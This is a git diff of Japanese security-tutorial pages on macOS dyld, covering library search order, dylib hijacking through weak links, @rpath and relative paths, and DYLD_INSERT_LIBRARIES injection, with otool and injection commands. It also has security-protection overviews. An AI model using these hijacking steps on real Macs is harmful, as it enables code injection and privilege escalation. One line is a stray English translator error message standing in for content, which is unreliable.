@ -59,25 +60,25 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> [!CAUTION]
> **以前のライブラリ検証制限もDylibハイジャック攻撃を実行するために適用されることを忘れないでください**
Windowsと同様に、MacOSでも**dylibsをハイジャック**して**アプリケーション**が**任意の**コードを**実行**することができます(実際には、通常のユーザーからは`.app`バンドル内に書き込むためにTCC権限が必要なため、これは不可能かもしれません)。\
ただし、**MacOS**アプリケーションがライブラリを**ロード**する方法は**Windowsよりも制限されています**。これは、**マルウェア**開発者がこの技術を**ステルス**に使用できることを意味しますが、**権限を昇格させるために悪用できる可能性ははるかに低い**です。
Windowsと同様に、MacOSでも**dylibsをハイジャック**して**アプリケーション**が**任意の**コードを**実行**することができます(実際には、通常のユーザーからは不可能かもしれません。`.app`バンドル内に書き込むためにTCCの権限が必要になる可能性があります)。\
ただし、**MacOS**アプリケーションがライブラリを**ロード**する方法は**Windowsよりも制限されています**。これは、**マルウェア**開発者がこの技術を**隠密性**のために使用できる可能性があることを意味しますが、**権限を昇格させるために悪用できる可能性ははるかに低い**です。
まず第一に、**MacOSバイナリがライブラリをロードするための完全なパスを示すことが**より一般的です。第二に、**MacOSはライブラリのために**$PATHのフォルダを**検索することはありません**。
まず第一に、**MacOSバイナリがライブラリをロードするためにフルパスを示すことが**より一般的です。第二に、**MacOSはライブラリのために**$PATHのフォルダを**検索ません**。
この機能に関連する**コードの主な部分**は、`ImageLoader.cpp`の**`ImageLoader::recursiveLoadLibraries`**にあります。
machoバイナリがライブラリをロードするために使用できる**4つの異なるヘッダーコマンド**があります:
- **`LC_LOAD_DYLIB`**コマンドはdylibをロードするための一般的なコマンドです。
- **`LC_LOAD_WEAK_DYLIB`**コマンドは前のコマンドと同様に機能しますが、dylibが見つからない場合、実行はエラーなしで続行されます。
- **`LC_LOAD_WEAK_DYLIB`**コマンドは前のものと同様に機能しますが、dylibが見つからない場合、実行はエラーなしで続行されます。
- **`LC_REEXPORT_DYLIB`**コマンドは、異なるライブラリからシンボルをプロキシ(または再エクスポート)します。
- **`LC_LOAD_UPWARD_DYLIB`**コマンドは、2つのライブラリが互いに依存している場合に使用されますこれは_上向き依存関係_と呼ばれます
ただし、**dylibハイジャックには2種類あります**
- **欠落している弱リンクライブラリ**:これは、アプリケーションが**LC_LOAD_WEAK_DYLIB**で構成された存在しないライブラリをロードしようとすることを意味します。次に、**攻撃者が期待される場所にdylibを配置すると、それがロードされます**。
- **欠落している弱リンクライブラリ**:これは、アプリケーションが**LC_LOAD_WEAK_DYLIB**で構成された存在しないライブラリをロードしようとすることを意味します。次に、**攻撃者がdylibを期待される場所に配置すると、それがロードされます**。
- リンクが「弱い」ということは、ライブラリが見つからなくてもアプリケーションは実行を続けることを意味します。
- これに関連する**コード**は、`ImageLoaderMachO::doGetDependentLibraries``ImageLoaderMachO.cpp`関数にあり、`lib->required``LC_LOAD_WEAK_DYLIB`がtrueのときのみ`false`です。
- これに関連する**コード**は、`ImageLoaderMachO::doGetDependentLibraries`の関数にあり、`lib->required`**`LC_LOAD_WEAK_DYLIB`**がtrueのときのみ`false`です。
- バイナリ内の**弱リンクライブラリを見つける**には(後でハイジャックライブラリを作成する方法の例があります):
- ```bash
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
@ -89,25 +90,26 @@ compatibility version 1.0.0
```
- **@rpathで構成された**Mach-Oバイナリは**`LC_RPATH`**および**`LC_LOAD_DYLIB`**コマンドを持つことができます。これらのコマンドの**値**に基づいて、**ライブラリ**は**異なるディレクトリ**から**ロード**されます。
- **`LC_RPATH`**は、バイナリによってライブラリをロードするために使用されるいくつかのフォルダのパスを含みます。
- **`LC_LOAD_DYLIB`**は、ロードする特定のライブラリへのパスを含みます。これらのパスには**`@rpath`**が含まれる場合があり、これは**`LC_RPATH`**の値によって**置き換えられます**。**`LC_RPATH`**に複数のパスがある場合、すべてがライブラリをロードするために使用されます。例:
- **`LC_LOAD_DYLIB`**`@rpath/library.dylib`を含み、**`LC_RPATH`**が`/application/app.app/Contents/Framework/v1/`および`/application/app.app/Contents/Framework/v2/`を含む場合。両方のフォルダが`library.dylib`をロードするために使用されます。**ライブラリが`[...] /v1/`に存在しない場合、攻撃者はそこに配置して`[...] /v2/`のライブラリのロードをハイジャックできます。** **`LC_LOAD_DYLIB`**のパスの順序が守られます。
- **`LC_LOAD_DYLIB`**は、ロードする特定のライブラリへのパスを含みます。これらのパスには**`@rpath`**が含まれる場合があり、**`LC_RPATH`**の値で**置き換えられます**。**`LC_RPATH`**に複数のパスがある場合、すべてがライブラリをロードするために使用されます。例:
- **`LC_LOAD_DYLIB`**`@rpath/library.dylib`が含まれ、**`LC_RPATH`**に`/application/app.app/Contents/Framework/v1/`および`/application/app.app/Contents/Framework/v2/`が含まれている場合。両方のフォルダが`library.dylib`をロードするために使用されます。**`[...] /v1/`ライブラリが存在しない場合、攻撃者はそこに配置して`[...] /v2/`のライブラリのロードをハイジャックできます。** **`LC_LOAD_DYLIB`**のパスの順序が守られます。
- バイナリ内の**rpathパスとライブラリを見つける**には:`otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
> [!NOTE] > **`@executable_path`**:は**メイン実行可能ファイル**を含むディレクトリへの**パス**です。
> [!NOTE] > **`@executable_path`**:は**メイン実行ファイル**を含むディレクトリへの**パス**です。
>
> **`@loader_path`**:は**ロードコマンドを含むMach-Oバイナリ**を含む**ディレクトリ**への**パス**です。
> **`@loader_path`**:は**ロードコマンド**を含む**Mach-Oバイナリ**を含む**ディレクトリ**への**パス**です。
>
> - 実行可能ファイルで使用されるとき、**`@loader_path`**は実質的に**`@executable_path`**と同じです。
> - **dylib**で使用されるとき、**`@loader_path`**は**dylib**への**パス**を提供します。
> - 実行可能ファイルで使用される場合、**`@loader_path`**は実質的に**`@executable_path`**と同じです。
> - **dylib**で使用される場合、**`@loader_path`**は**dylib**への**パス**を提供します。
この機能を悪用して**権限を昇格させる**方法は、**root**によって実行されている**アプリケーション**が、攻撃者が書き込み権限を持つフォルダ内の**ライブラリを探している**という稀なケースにあります。
この機能を悪用して**権限を昇格させる**方法は、**root**によって実行されている**アプリケーション**が、攻撃者が書き込み権限を持つフォルダ内の**ライブラリを探している**という稀なケースす。
> [!TIP]
> アプリケーション内の**欠落しているライブラリ**を見つけるための優れた**スキャナー**は[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。\
> アプリケーション内の**欠落しているライブラリ**を見つけるための優れた**スキャナー**は[**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html)または[**CLIバージョン**](https://github.com/pandazheng/DylibHijack)です。\
> この技術に関する**技術的詳細を含む優れたレポート**は[**こちら**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x)で見つけることができます。
**例**
{{#ref}}
macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
@ -119,7 +121,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
**`man dlopen`**から:
- パスに**スラッシュ文字が含まれていない場合**(つまり、単なるリーフ名の場合)、**dlopen()は検索を行います**。**`$DYLD_LIBRARY_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリを**探します**。次に、呼び出し元のmach-oファイルまたはメイン実行可能ファイルが**`LC_RPATH`**を指定している場合、dyldは**それらの**ディレクトリを**探します**。次に、プロセスが**制限されていない**場合、dyldは**現在の作業ディレクトリ**を検索します。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldは**それらのディレクトリ**を検索します。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、次に**`/usr/lib/`**を検索します(この情報は**`man dlopen`**から取得されました)。
- パスに**スラッシュ文字が含まれていない**場合(つまり、単なるリーフ名の場合)、**dlopen()は検索を行います**。**`$DYLD_LIBRARY_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリを**探します**。次に、呼び出し元のmach-oファイルまたはメイン実行可能ファイルが**`LC_RPATH`**を指定している場合、dyldは**それらの**ディレクトリを**探します**。次に、プロセスが**制限されていない**場合、dyldは**現在の作業ディレクトリ**を検索します。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldは**それらのディレクトリ**を検索します。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、その後**`/usr/lib/`**を検索します(この情報は**`man dlopen`**から取得されました)。
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(制限されていない場合)
@ -133,9 +135,9 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> - いずれかの**`LC_RPATH`**が**書き込み可能**である場合(ただし署名がチェックされるため、これにはバイナリが制限されていない必要があります)
> - バイナリが**制限されていない**場合、CWDから何かをロードすることが可能ですまたは前述の環境変数のいずれかを悪用することができます
- パスが**フレームワークのように見える**場合(例:`/stuff/foo.framework/foo`)、**`$DYLD_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリで**フレームワーク部分パス**(例:`foo.framework/foo`を探します。次に、dyldは**指定されたパスをそのまま**試みます相対パスの場合は現在の作業ディレクトリを使用。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/Library/Frameworks`**macOSでプロセスが制限されていない場合、次に**`/System/Library/Frameworks`**を検索します。
- パスが**フレームワークのように見える**場合(例:`/stuff/foo.framework/foo`)、**`$DYLD_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldは最初にそのディレクトリで**フレームワーク部分パス**(例:`foo.framework/foo`を探します。次に、dyldは**提供されたパスをそのまま**試みます相対パスの場合は現在の作業ディレクトリを使用。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_FRAMEWORK_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、**`/Library/Frameworks`**macOSでプロセスが制限されていない場合、次に**`/System/Library/Frameworks`**を検索します。
1. `$DYLD_FRAMEWORK_PATH`
2. 指定されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks`(制限されていない場合)
5. `/System/Library/Frameworks`
@ -143,11 +145,11 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
> [!CAUTION]
> フレームワークパスの場合、ハイジャックする方法は次のとおりです:
>
> - プロセスが**制限されていない**場合、CWDからの**相対パス**を悪用することができます。前述の環境変数プロセスが制限されている場合、DYLD_*環境変数は削除されます)を使用します
> - プロセスが**制限されていない**場合、CWDからの**相対パス**を悪用することができます。前述の環境変数プロセスが制限されている場合、DYLD_*環境変数は削除されるため、ドキュメントには記載されていません)
- パスが**スラッシュを含むがフレームワークパスでない場合**つまり、dylibへの完全なパスまたは部分的なパス、dlopen()は最初に(設定されている場合)**`$DYLD_LIBRARY_PATH`**パスのリーフ部分を使用を検索します。次に、dyldは**指定されたパスを試みます**相対パスの場合は現在の作業ディレクトリを使用しますが、制限されていないプロセスの場合のみ。最後に、古いバイナリの場合、dyldはいくつかのフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、次に**`/usr/lib/`**を検索します。
- パスに**スラッシュが含まれているがフレームワークパスではない**場合つまり、dylibへのフルパスまたは部分パス、dlopen()は最初に(設定されている場合)**`$DYLD_LIBRARY_PATH`**でパスのリーフ部分を使用して探します。次に、dyldは**提供されたパスを試みます**相対パスの場合は現在の作業ディレクトリを使用しますが、制限されていないプロセスの場合のみ。最後に、古いバイナリの場合、dyldはフォールバックを試みます。**`$DYLD_FALLBACK_LIBRARY_PATH`**が起動時に設定されている場合、dyldはそれらのディレクトリを検索します。そうでない場合、dyldは**`/usr/local/lib/`**(プロセスが制限されていない場合)を検索し、その後**`/usr/lib/`**を検索します。
1. `$DYLD_LIBRARY_PATH`
2. 指定されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
2. 提供されたパス(制限されていない場合は相対パスに現在の作業ディレクトリを使用)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/`(制限されていない場合)
5. `/usr/lib/`
@ -157,10 +159,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
>
> - バイナリが**制限されていない**場合、CWDまたは`/usr/local/lib`から何かをロードすることが可能です(または前述の環境変数のいずれかを悪用することができます)。
> [!NOTE]
> 注意:**dlopen検索を制御するための**構成ファイルは**ありません**。
> [!TIP]
> 注意:**dlopen検索を制御する**ための設定ファイルは**ありません**。
>
> 注意:メイン実行可能ファイルが**set\[ug]idバイナリまたは権限でコードサインされている場合**、**すべての環境変数は無視され**、フルパスのみが使用できます(詳細情報については[DYLD_INSERT_LIBRARIES制限を確認してください](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions))。
> 注意:メイン実行可能ファイルが**set\[ug]idバイナリまたは権限でコードサインされている**場合、**すべての環境変数は無視され**、フルパスのみが使用できます(詳細情報については[DYLD_INSERT_LIBRARIES制限を確認してください](macos-dyld-hijacking-and-dyld_insert_libraries.md#check-dyld_insert_librery-restrictions))。
>
> 注意Appleプラットフォームは、32ビットと64ビットのライブラリを組み合わせるために「ユニバーサル」ファイルを使用します。これは、**32ビットと64ビットの検索パスが別々に存在しない**ことを意味します。
>
@ -168,7 +170,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
**パスを確認する**
次のコードを使用してすべてのオプションを確認しましょう:
次のコードを使用してすべてのオプションを確認しましょう:
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -217,13 +219,13 @@ sudo fs_usage | grep "dlopentest"
```
## 相対パスハイジャック
特権バイナリ/アプリSUIDや強力な権限を持つバイナリなどが相対パスライブラリ例えば、`@executable_path``@loader_path`を使用)を読み込んでおり、ライブラリ検証が無効になっている場合、攻撃者が相対パスで読み込まれるライブラリを変更できる場所にバイナリを移動し、プロセスにコードを注入するためにそれを悪用することが可能です
特権のあるバイナリ/アプリSUIDや強力な権限を持つバイナリなどが相対パスライブラリ例えば、`@executable_path``@loader_path`を使用)を読み込んでおり、ライブラリ検証が無効になっている場合、攻撃者がバイナリを移動させ、相対パスで読み込まれるライブラリを変更し、プロセスにコードを注入することが可能になるかもしれません
## `DYLD_*`および`LD_LIBRARY_PATH`環境変数の削除
ファイル`dyld-dyld-832.7.1/src/dyld2.cpp`には、**`pruneEnvironmentVariables`**という関数があり、**`DYLD_`**で始まる環境変数と**`LD_LIBRARY_PATH=`**を削除します。
また、特に**suid**および**sgid**バイナリに対して、環境変数**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
この関数は、特に**suid**および**sgid**バイナリのために、環境変数**`DYLD_FALLBACK_FRAMEWORK_PATH`**と**`DYLD_FALLBACK_LIBRARY_PATH`**を**null**に設定します。
この関数は、OSXをターゲットにする場合、同じファイルの**`_main`**関数から呼び出されます。
```cpp
@ -286,7 +288,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### Hardened runtime
Keychain新しい証明書を作成し、それを使用してバイナリに署名します:
Keychain新しい証明書を作成し、それを使用してバイナリに署名します:
```bash
# Apply runtime proetction
codesign -s <cert-name> --option=runtime ./hello
@ -307,7 +309,7 @@ codesign -f -s <cert-name> --option=restrict hello-signed
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
```
> [!CAUTION]
> **`0x0(none)`** フラグで署名されたバイナリがあっても、実行時に **`CS_RESTRICT`** フラグが動的に設定される可能性があるため、この技術はそれらには適用できません。
> 注意してください。**`0x0(none)`** フラグで署名されたバイナリがあっても、実行時に **`CS_RESTRICT`** フラグが動的に設定される可能性があるため、この技術はそれらには適用できません。
>
> プロセスがこのフラグを持っているかどうかは、(get [**csops here**](https://github.com/axelexic/CSOps)) で確認できます:
>
@ -315,7 +317,7 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
> csops -status <pid>
> ```
>
> その後、フラグ 0x800 が有効になっているか確認してください
> その後、フラグ 0x800 が有効になっているかどうかを確認します
## References

View File

@ -4,26 +4,26 @@
## 基本情報
Mach-o バイナリの実際の **エントリポイント** は動的にリンクされており、`LC_LOAD_DYLINKER` で定義されており、通常は `/usr/lib/dyld` です。
Mach-o バイナリの実際の **entrypoint** は動的リンクされており、`LC_LOAD_DYLINKER` で定義されており、通常は `/usr/lib/dyld` です。
このリンカーはすべての実行可能ライブラリを見つけ、メモリにマッピングし、すべての非遅延ライブラリをリンクする必要があります。このプロセスの後にのみ、バイナリのエントリポイントが実行されます。
もちろん、**`dyld`** には依存関係はありませんsyscalls と libSystem の抜粋を使用します)。
> [!CAUTION]
> このリンカーに脆弱性が含まれている場合、バイナリ(特権の高いものも含む)を実行する前に実行されるため、**特権昇格**が可能す。
> このリンカーに脆弱性が含まれている場合、バイナリ(特権の高いものも含む)を実行する前に実行されるため、**特権昇格**が可能になります。
### フロー
Dyld は **`dyldboostrap::start`** によってロードされ、**スタックカナリア** などのものもロードされます。これは、この関数が **`apple`** 引数ベクターにこのおよび他の **機密** **値** を受け取るためです。
**`dyls::_main()`** は dyld のエントリポイントであり、最初のタスクは `configureProcessRestrictions()` を実行することです。これは通常、以下で説明されている **`DYLD_*`** 環境変数を制限します
**`dyls::_main()`** は dyld のエントリポイントであり、最初のタスクは `configureProcessRestrictions()` を実行することです。これは通常、以下で説明されている **`DYLD_*`** 環境変数を制限します
{{#ref}}
./
{{#endref}}
次に、dyld 共有キャッシュをマッピングし、すべての重要なシステムライブラリを事前リンクし、次にバイナリが依存するライブラリをマッピングし、すべての必要なライブラリがロードされるまで再帰的に続けます。したがって:
次に、重要なシステムライブラリを事前リンクする dyld 共有キャッシュをマッピングし、バイナリが依存するライブラリをマッピングし、すべての必要なライブラリがロードされるまで再帰的に続けます。したがって:
1. `DYLD_INSERT_LIBRARIES` で挿入されたライブラリのロードを開始します(許可されている場合)
2. 次に、共有キャッシュされたもの
@ -42,17 +42,17 @@ macOS のすべてのバイナリは動的にリンクされています。し
- **`__TEXT.__[auth_]stubs`**: `__DATA` セクションからのポインタ
- **`__TEXT.__stub_helper`**: 呼び出す関数に関する情報を持つ動的リンクを呼び出す小さなコード
- **`__DATA.__[auth_]got`**: グローバルオフセットテーブル(インポートされた関数へのアドレス、解決されたとき、ロード時にバインドされ、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
- **`__DATA.__nl_symbol_ptr`**: 非遅延シンボルポインタ(ロード時にバインドされ、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
- **`__DATA.__[auth_]got`**: グローバルオフセットテーブル(インポートされた関数へのアドレス、解決されたとき、ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
- **`__DATA.__nl_symbol_ptr`**: 非遅延シンボルポインタ(ロード時にバインドされるため、フラグ `S_NON_LAZY_SYMBOL_POINTERS` が付けられています)
- **`__DATA.__la_symbol_ptr`**: 遅延シンボルポインタ(最初のアクセス時にバインドされます)
> [!WARNING]
> "auth\_" プレフィックスの付いたポインタは、保護のためにプロセス内暗号化キーを使用していますPAC。さらに、arm64 命令 `BLRA[A/B]` を使用してポインタを確認することができます。そして、RETA\[A/B] は RET アドレスの代わりに使用できます。\
> "auth\_" プレフィックスの付いたポインタは、保護のためにプロセス内暗号化キーを使用していますPAC。さらに、ポインタを追跡する前に検証するために arm64 命令 `BLRA[A/B]` を使用することが可能です。そして、RETA\[A/B] は RET アドレスの代わりに使用できます。\
> 実際、**`__TEXT.__auth_stubs`** 内のコードは、ポインタを認証するために要求された関数を呼び出すために **`braa`** を使用します。
>
> また、現在の dyld バージョンは **すべてを非遅延としてロード** します。
> また、現在の dyld バージョンは **すべてを非遅延** としてロードします。
### 遅延シンボルの検索
### 遅延シンボルの発見
```c
//gcc load.c -o load
#include <stdio.h>
@ -68,7 +68,7 @@ printf("Hi\n");
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
`printf`を呼び出すためのジャンプが**`__TEXT.__stubs`**に向かっていることがわかります。
`printf`へのジャンプが**`__TEXT.__stubs`**に向かっていることがわかります:
```bash
objdump --section-headers ./load
@ -97,7 +97,7 @@ Disassembly of section __TEXT,__stubs:
```
あなたは**GOTのアドレスにジャンプしている**ことがわかります。この場合、非遅延で解決され、printf関数のアドレスが含まれます。
他の状況では、直接GOTにジャンプする代わりに、**`__DATA.__la_symbol_ptr`**にジャンプすることがあり、これは読み込もうとしている関数を表す値をロードし、その後**`__TEXT.__stub_helper`**にジャンプします。これが**`__DATA.__nl_symbol_ptr`**にジャンプし、**`dyld_stub_binder`**のアドレスを含んでいます。この関数は、関数の番号とアドレスをパラメータとして受け取ります。\
他の状況では、GOTに直接ジャンプする代わりに、**`__DATA.__la_symbol_ptr`**にジャンプすることがあり、これは読み込もうとしている関数を表す値をロードし、その後**`__TEXT.__stub_helper`**にジャンプします。これは**`__DATA.__nl_symbol_ptr`**にジャンプし、ここには**`dyld_stub_binder`**のアドレスが含まれています。この関数は、関数の番号とアドレスをパラメータとして受け取ります。\
この最後の関数は、検索された関数のアドレスを見つけた後、それを**`__TEXT.__stub_helper`**の対応する位置に書き込み、将来のルックアップを避けます。
> [!TIP]
@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
I'm sorry, but I cannot provide a translation without the specific text you would like translated. Please provide the relevant English text, and I will translate it to Japanese as per your guidelines.
I'm sorry, but I cannot provide a translation without the specific text you would like me to translate. Please provide the relevant English text, and I will translate it to Japanese as per your guidelines.
```
0: executable_path=./a
1:
@ -137,7 +137,7 @@ I'm sorry, but I cannot provide a translation without the specific text you woul
> [!TIP]
> これらの値がメイン関数に到達する時点で、機密情報はすでに削除されているか、データ漏洩が発生している可能性があります。
メインに入る前にデバッグしてこれらの興味深い値を確認することができます:
メインに入る前にデバッグでこれらの興味深い値をすべて見ることができます:
<pre><code>lldb ./apple
@ -180,7 +180,7 @@ I'm sorry, but I cannot provide a translation without the specific text you woul
## dyld_all_image_infos
これは、dyldの状態に関する情報を持つ構造体で、[**ソースコード**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html)で見つけることができ、バージョン、dyld_image_info配列へのポインタ、dyld_image_notifier、プロセスが共有キャッシュから切り離されているかどうか、libSystem初期化子が呼び出されたかどうか、dyls自身のMachヘッダーへのポインタ、dyldバージョン文字列へのポインタなどの情報が含まれています。
これは、dyldの状態に関する情報を含む構造体で、[**ソースコード**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html)で見つけることができ、バージョン、dyld_image_info配列へのポインタ、dyld_image_notifierへのポインタ、プロセスが共有キャッシュから切り離されているかどうか、libSystem初期化子が呼び出されたかどうか、dyls自身のMachヘッダーへのポインタ、dyldバージョン文字列へのポインタなどの情報が含まれています。
## dyld 環境変数
@ -190,7 +190,7 @@ dyldが何をしているのかを理解するのに役立つ興味深い環境
- **DYLD_PRINT_LIBRARIES**
読み込まれている各ライブラリを確認します:
読み込まれ各ライブラリを確認します:
```
DYLD_PRINT_LIBRARIES=1 ./apple
dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@ -208,7 +208,7 @@ dyld[19948]: <1A7038EC-EE49-35AE-8A3C-C311083795FB> /usr/lib/system/libmacho.dyl
```
- **DYLD_PRINT_SEGMENTS**
各ライブラリがどのように読み込まれているかを確認します:
各ライブラリがどのようにロードされるかを確認します:
```
DYLD_PRINT_SEGMENTS=1 ./apple
dyld[21147]: re-using existing shared cache (/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e):
@ -264,7 +264,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
- `DYLD_PRINT_BINDINGS`: バインドされたときにシンボルを印刷する
- `DYLD_WEAK_BINDINGS`: バインドされたときに弱いシンボルのみを印刷する
- `DYLD_PRINT_CODE_SIGNATURES`: コード署名登録操作を印刷する
- `DYLD_PRINT_DOFS`: 読み込まれた D-Trace オブジェクトフォーマットセクションを印刷する
- `DYLD_PRINT_DOFS`: 読み込まれた D-Trace オブジェクト形式セクションを印刷する
- `DYLD_PRINT_ENV`: dyld によって見られた環境を印刷する
- `DYLD_PRINT_INTERPOSTING`: インターポスティング操作を印刷する
- `DYLD_PRINT_LIBRARIES`: 読み込まれたライブラリを印刷する

View File

@ -1,4 +1,4 @@
# macOS セキュリティ保護
# macOS Security Protections
{{#include ../../../banners/hacktricks-training.md}}
@ -6,47 +6,52 @@
Gatekeeperは通常、**Quarantine + Gatekeeper + XProtect**の組み合わせを指し、これはユーザーが**潜在的に悪意のあるソフトウェアを実行するのを防ぐ**ために試みる3つのmacOSセキュリティモジュールです。
詳細情報は以下にあります:
詳細情報は以下にあります:
{{#ref}}
macos-gatekeeper.md
{{#endref}}
## プロセス制限
## Processes Limitants
### MACF
### SIP - システム整合性保護
### SIP - System Integrity Protection
{{#ref}}
macos-sip.md
{{#endref}}
### サンドボックス
### Sandbox
MacOS Sandboxは、サンドボックス内で実行されるアプリケーションを、アプリが実行されている**Sandboxプロファイルで指定された許可されたアクション**に制限します。これにより、**アプリケーションが期待されるリソースのみをアクセスすることが保証されます**。
MacOSサンドボックスは、サンドボックス内で実行されるアプリケーションを、アプリが実行されている**サンドボックスプロファイルで指定された許可されたアクション**に制限します。これにより、**アプリケーションが期待されるリソースのみをアクセスすることが保証されます**。
{{#ref}}
macos-sandbox/
{{#endref}}
### TCC - **透明性、同意、制御**
### TCC - **Transparency, Consent, and Control**
**TCC (Transparency, Consent, and Control)**はセキュリティフレームワークです。これは、アプリケーションの**権限を管理する**ために設計されており、特に機密機能へのアクセスを規制します。これには、**位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセス**などの要素が含まれます。TCCは、アプリが明示的なユーザーの同意を得た後にのみこれらの機能にアクセスできるようにし、プライバシーと個人データに対する制御を強化します。
**TCC (透明性、同意、制御)**はセキュリティフレームワークです。これは、アプリケーションの**権限を管理する**ために設計されており、特に機密機能へのアクセスを規制します。これには、**位置情報サービス、連絡先、写真、マイク、カメラ、アクセシビリティ、フルディスクアクセス**などの要素が含まれます。TCCは、アプリが明示的なユーザーの同意を得た後にのみこれらの機能にアクセスできることを保証し、プライバシーと個人データに対する制御を強化します。
{{#ref}}
macos-tcc/
{{#endref}}
### 起動/環境制約と信頼キャッシュ
### Launch/Environment Constraints & Trust Cache
macOSの起動制約は、**プロセスの開始を規制する**ためのセキュリティ機能であり、**誰がプロセスを起動できるか、どのように、どこから**起動するかを定義します。macOS Venturaで導入され、システムバイナリを**信頼キャッシュ**内の制約カテゴリに分類します。すべての実行可能バイナリには、**自己、親、責任**の制約を含む**起動**のための**ルール**が設定されています。macOS Sonomaでは、これらの機能が**環境**制約としてサードパーティアプリに拡張され、プロセスの起動条件を管理することで潜在的なシステムの悪用を軽減します。
{{#ref}}
macos-launch-environment-constraints.md
{{#endref}}
## MRT - マルウェア除去ツール
## MRT - Malware Removal Tool
マルウェア除去ツールMRTは、macOSのセキュリティインフラストラクチャの一部です。名前が示すように、MRTの主な機能は**感染したシステムから既知のマルウェアを除去する**ことです。
@ -54,14 +59,22 @@ macos-launch-environment-constraints.md
XProtectとMRTはどちらもmacOSのセキュリティ対策の一部ですが、異なる機能を果たします
- **XProtect**は予防ツールです。これは、**ファイルがダウンロードされる際にチェック**し、既知のマルウェアのタイプが検出されると、**ファイルのオープンを防ぎ**、その結果、マルウェアがシステムに感染するのを防ぎます。
- **MRT**は、逆に、**反応ツール**です。これは、システム上でマルウェアが検出された後に動作し、問題のあるソフトウェアを除去してシステムをクリーンにすることを目的としています。
- **XProtect**は予防的なツールです。これは、**ファイルがダウンロードされる際にチェック**し、既知のマルウェアのタイプが検出されると、**ファイルのオープンを防ぎ**、マルウェアがシステムに感染するのを防ぎます。
- **MRT**は、逆に、**反応的なツール**です。これは、システム上でマルウェアが検出された後に動作し、問題のあるソフトウェアを除去してシステムをクリーンにすることを目的としています。
MRTアプリケーションは**`/Library/Apple/System/Library/CoreServices/MRT.app`**にあります。
## バックグラウンドタスク管理
## Background Tasks Management
**macOS**は、ツールが**コード実行を持続させるためのよく知られた技術を
**macOS**は、ツールが**コード実行を持続させるためのよく知られた技術**(ログイン項目、デーモンなど)を使用するたびに**警告**を出すようになり、ユーザーは**どのソフトウェアが持続しているか**をよりよく知ることができます。
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
これは、`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`にある**デーモン**と、`/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`にある**エージェント**によって実行されます。
**`backgroundtaskmanagementd`**が何かが持続的なフォルダにインストールされていることを知る方法は、**FSEventsを取得し**、それらのための**ハンドラー**を作成することです。
